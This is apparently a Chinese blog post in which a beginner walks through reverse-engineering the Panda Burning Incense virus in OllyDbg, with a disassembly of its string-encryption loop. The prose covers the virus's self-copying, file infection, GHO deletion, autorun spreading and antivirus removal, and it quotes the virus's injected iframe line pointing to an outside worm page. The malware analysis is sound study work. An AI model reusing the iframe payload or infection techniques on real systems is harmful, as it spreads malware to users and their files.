最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。本文主要侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享
OD PEID VMware xp虚拟机
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200529153247830.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI4MTQw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200530022125233.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI4MTQw,size_16,color_FFFFFF,t_70)进入函数①我们发现其主要功能就是调用GetModuleHandleA()获得程序基地址(及程序实例句柄)
00405360 /$ 55 push ebp 00405361 |. 8BEC mov ebp,esp 00405363 |. 83C4 E8 add esp,-0x18 00405366 |. 53 push ebx 00405367 |. 56 push esi 00405368 |. 57 push edi 00405369 |. 33DB xor ebx,ebx 0040536B |. 895D E8 mov [local.6],ebx 0040536E |. 895D F0 mov [local.4],ebx 00405371 |. 895D EC mov [local.5],ebx 00405374 |. 894D F4 mov [local.3],ecx 00405377 |. 8955 F8 mov [local.2],edx 0040537A |. 8945 FC mov [local.1],eax 0040537D |. 8B45 FC mov eax,[local.1] 00405380 |. E8 37EDFFFF call 004040BC 00405385 |. 8B45 F8 mov eax,[local.2] 00405388 |. E8 2FEDFFFF call 004040BC 0040538D |. 33C0 xor eax,eax 0040538F |. 55 push ebp 00405390 |. 68 4A544000 push 0x40544A 00405395 |. 64:FF30 push dword ptr fs:[eax] 00405398 |. 64:8920 mov dword ptr fs:[eax],esp 0040539B |. 837D FC 00 cmp [local.1],0x0 0040539F |. 75 0A jnz X004053AB 004053A1 |. 8B45 F4 mov eax,[local.3] 004053A4 |. E8 9BE8FFFF call 00403C44 004053A9 |. EB 77 jmp X00405422 004053AB |> 8D45 EC lea eax,[local.5] 004053AE |. 8B55 F8 mov edx,[local.2] 004053B1 |. E8 26E9FFFF call 00403CDC 004053B6 |. 8D45 F0 lea eax,[local.4] 004053B9 |. E8 86E8FFFF call 00403C44 004053BE |. 8B45 FC mov eax,[local.1] 004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1) 004053C6 |. 8BF0 mov esi,eax ; esi = eax 004053C8 |. 85F6 test esi,esi ; if(esi == 0) 004053CA |. 7E 4B jle X00405417 ; break 004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1 004053D1 |> 8B45 EC /mov eax,[local.5] ; do{ 004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2) 004053D9 |. 50 |push eax 004053DA |. 8BC3 |mov eax,ebx ; eax = ebx 004053DC |. 5A |pop edx ; edx = eax 004053DD |. 8BCA |mov ecx,edx ; ecx = edx 004053DF |. 99 |cdq 004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx 004053E2 |. 8BFA |mov edi,edx ; edi = edx 004053E4 |. 47 |inc edi ; edi++ 004053E5 |. 8B45 EC |mov eax,[local.5] 004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1] 004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10 004053F2 |. 33D2 |xor edx,edx ; edx = 0 004053F4 |. F7F1 |div ecx ; edx = eax % ecx 004053F6 |. 8B45 FC |mov eax,[local.1] 004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1] 004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax 00405400 |. 8D45 E8 |lea eax,[local.6] 00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx 00405408 |. 8B55 E8 |mov edx,[local.6] 0040540B |. 8D45 F0 |lea eax,[local.4] 0040540E |. E8 C1EAFFFF |call 00403ED4 00405413 |. 43 |inc ebx ; ebx++ 00405414 |. 4E |dec esi ; esi-- 00405415 |.^ 75 BA \jnz X004053D1 ; } 00405417 |> 8B45 F4 mov eax,[local.3] 0040541A |. 8B55 F0 mov edx,[local.4]
我们接着分析函数0x404018,我们发现其是比较两个参数eax所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。而edx指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。
现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。
一共有两处这种判断,我们继续往下动态分析得第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串
程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。
如此我们知道了,panda.exe主要是为了在系统目录的driver文件夹下创建病毒的副本spcolsv.exe文件并运行它。这样其在上方判断路径是否相等时就会成立,从而是程序继续往下执行。
接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把ZF为置0即可让程序认为自己就时系统目录drivers文件夹下的spcolsv.exe程序了,接着我们就可以继续往下分析了。
接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。
接着会把存在的盘符与“:\”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们F7进入进一步分析。
进一步分析我们发现其会把刚才找到存在的盘符与“%20*.*%20”连接后,调用%20FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以F8运行其一定不会跳转,接着我们进一步往下分析)
当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)。
然后其又会比较找到的文件是否为setup.exe或者NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。如果不是上述两个文件则继续判断文件的后缀,如果是exe,scr,pif,com文件则调用0x0040800函数,如果是htm,html,asp,php,jsp,aspx文件的话则会调用0x00407adc函数。
我们这里在这里判断是否为exe文件处下断点,运行程序后当寻找到磁盘中的cmdline.exe文件后其会进入第一类函数中进行感染文件,我们F7进入后会分析。其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。
接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。
接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。
然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。
然后往下通过动态分析得:其会获得原文件得大小然后和文件名与字符whboy连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。
得感染后得文件组成为
病毒文件 | 原文件 | 标志信息 |
---|---|---|
接着我们利用上述思路分析0x00407adc函数得出其是通过将主要将字符串“\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>”添加到文件末尾而感染网络文件得。
分析完第二功能函数得第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数得第二个函数。这样便于分析,不会受到前面函数得影响。
F7进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。运行程序,发现程序会停在此计时器回调函数中。
我们往下分析此函数,其会先在已存在得盘得根目录下寻找setup.exe文件与autorun.inf文件。然后如果没有寻找到此文件就跳转。
跟着跳转后,其会把正在运行得病毒文件复制为c:\setup.exe。
随后又创建c:\autorun.inf文件
往文件中写入一下内容后,将setup.exe与autorun.inf得属性设为隐藏。
此函数到此就分析结束了。
紧接着我们在分析第二个功能函数得最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。
F7进入此函数,发现其会创建线程,而且是循环创建10此。为了便于对此线程回调函数得分析,我们在其执行一次创建后就让其返回到消息循环中。
并在线程回调函数处下断点,运行程序将会断在此断点处。
程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。
这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数
第二个计时器回调函数
接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后在分析运行程序。
程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。
我们运行程序后,程序会停在线程回调函数得断点处。接下来我们就可以对此线程回调函数进一步分析。我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定得运算,算法和文件自效验时用的一样。最后得到一个网址。
接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们F7进入分析。发现其实际是从刚才产生得那个网址上试图从网站读取到网页源代码并且运行代码。
第三个计时器回调函数
当程序停在第三个即使回调函数处时,我们发现其创建了两个线程。我们反汇编查看第二个线程得回调函数发现其利用cmd命令删除了共享文件
来到第四个计时器回调函数后发现其创建了一个线程
我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)
该文就是我在分析病毒时的思路,没用IDA就时想锻炼锻炼反汇编代码的能力。动态调试结合IDA会更方便分析。第一次分析病毒如有不对的地方还请路过的大牛指点。
[培训]科锐逆向工程师培训(6月24日远程教学开班, 第38期)!
最后于 1天前 被码小芹编辑 ,原因: